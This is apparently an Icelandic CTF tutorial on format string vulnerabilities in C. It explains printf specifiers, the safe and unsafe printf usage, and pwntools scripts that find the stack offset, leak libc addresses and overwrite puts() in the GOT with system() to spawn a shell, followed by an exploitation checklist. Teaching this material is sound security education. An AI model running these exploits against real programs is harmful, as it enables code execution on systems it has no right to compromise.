Format String árásir (e. Format String Attacks)
Hvað er vandinn?
printf og systkini þess (fprintf, sprintf, dprintf) taka á móti sniðsstreng (e. format string) sem stjórnar hvernig gögn eru prentuð:
printf("%d items cost $%f", count, price);
// ↑ format string
Vandinn kemur þegar forritarinn sendir notendainntak beint sem format string:
char buf[64];
fgets(buf, 64, stdin);
printf(buf); // RANGT! buf gæti innihaldið %x, %n, osfrv.
printf("%s", buf); // RÉTT: buf er meðhöndlað sem venjulegur strengur
Format specifiers
| Specifier | Þýðing |
|---|---|
%d |
Prentar int sem decimal |
%x |
Prentar int sem hex |
%s |
Prentar streng (les minni á vistfangi) |
%p |
Prentar benda (e. pointer) sem hex |
%n |
Skrifar fjölda prentaðra stafa á vistfang í viðfangi |
%n er hættulegur
%n er eini format specifier-inn sem skrifar í minni, þetta er kjarni format string árásarinnar.
Lesa úr stafla
Þegar printf(buf) er kallað án viðfanga, les printf gildi af stafla eins og þau væru viðföngin.
printf("%x %x %x %x %x %x");
// Prentar gildi af stafla: innihald registers/stack
Direct parameter access
Við getum valið sérstaklega hvaða stak-sæti (e. stack position) við viljum lesa:
%1$x → 1. viðfang
%6$x → 6. viðfang (6. gildi á stafla)
%10$p → 10. gildi á stafla sem pointer
Finna offset forritsins
from pwn import *
p = process('./challenge')
# Senda mynstur og sjá hvar við birtumst á stafla
for i in range(1, 20):
p = process('./challenge')
p.sendline(f'AAAA.%{i}$x'.encode())
print(i, p.recvline())
p.close()
# Þegar við sjáum 41414141 (AAAA í hex), vitum við offset
Leka vistfang (e. Leak address)
Format string leyfir okkur að lesa hvaðeina af stafla, þar á meðal return addresses og libc-heimilisföngin sem þegar eru á stafla.
from pwn import *
p = process('./challenge')
# Senda %p.%p.%p... til að fá heimilisföngin af stafla
payload = b'%p.' * 20
p.sendline(payload)
response = p.recvline()
# → 0x7f12345678.0x7fff123456.0x401234...
# Þegar við vitum offset (t.d. 7. sæti er libc vistfang):
p = process('./challenge')
p.sendline(b'%7$p')
leak = int(p.recvline().strip(), 16)
Skrifa í minni með %n
%n skrifar fjölda stafa sem hafa verið prentaðir hingað til, á vistfangið sem næsta viðfang bendir á.
printf("AAAA%n", &x);
→ x verður 4 (því við prentaðum 4 stafi)
Við getum stjórnað gildið sem er skrifað með því að bæta við prentaða (en ósýnilega) stafi:
printf("%100x%n", 0, &x);
→ x verður 100
Skrifa á handvalið vistfang
[vistfang sem við viljum skrifa á][%Xc][%Y$n]
Þar sem:
- X = gildi sem við viljum skrifa
- Y = sæti á stafla þar sem vistfangið er
GOT overwrite
Algengasta format string árásartækni í CTF: skrifa á GOT töfluna til að benda falli á system().
from pwn import *
elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./challenge')
# 1. Leka libc vistfang
p.sendline(b'%7$p') # Þegar við vitum offset
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.sym['__libc_start_main']
# 2. Skrifa system() yfir puts() í GOT
# Næsta skipti sem puts() er kallað → kallar system() í staðinn
system_addr = libc.sym['system']
got_puts = elf.got['puts']
# fmtstr_payload reiknar rétta %n payload sjálfkrafa
payload = fmtstr_payload(offset, {got_puts: system_addr})
p.sendline(payload)
# 3. Þegar puts("/bin/sh") er kallað næst → system("/bin/sh")
p.sendline(b'/bin/sh')
p.interactive()
fmtstr_payload
pwntools hefur innbyggða fmtstr_payload() fallið sem smíðar format string payload sjálfkrafa. Þú þarft bara að vita offset þinn.
Finna format string offset
from pwn import *
def get_offset(binary):
for i in range(1, 50):
p = process(binary)
try:
p.sendline(f'AAAA.%{i}$x'.encode())
resp = p.recvline(timeout=1)
if b'41414141' in resp:
print(f'Offset: {i}')
return i
except:
pass
finally:
p.close()
offset = get_offset('./challenge')
Gátlisti
- [ ] Staðfesta að
printf(buf)sé notað (ekkiprintf("%s", buf)) - [ ] Finna format string offset með
AAAA.%X$xmynsturinu - [ ] Leka libc vistfang ef ASLR er virkt
- [ ] Ákveða markvistfang: GOT entry,
__free_hook,__malloc_hook - [ ] Nota
fmtstr_payload()í pwntools til að smíða payload
Samanburður: Read vs Write
| Tækni | Syntax | Notkun |
|---|---|---|
| Lesa úr stafla | %X$p / %X$x |
Leka heimilisföngin |
| Lesa streng | %X$s |
Lesa minni á vistfangi |
| Skrifa 1 byte | %X$hhn |
Skrifa eitt byte |
| Skrifa 2 bytes | %X$hn |
Skrifa short (2 bytes) |
| Skrifa 4 bytes | %X$n |
Skrifa int (4 bytes) |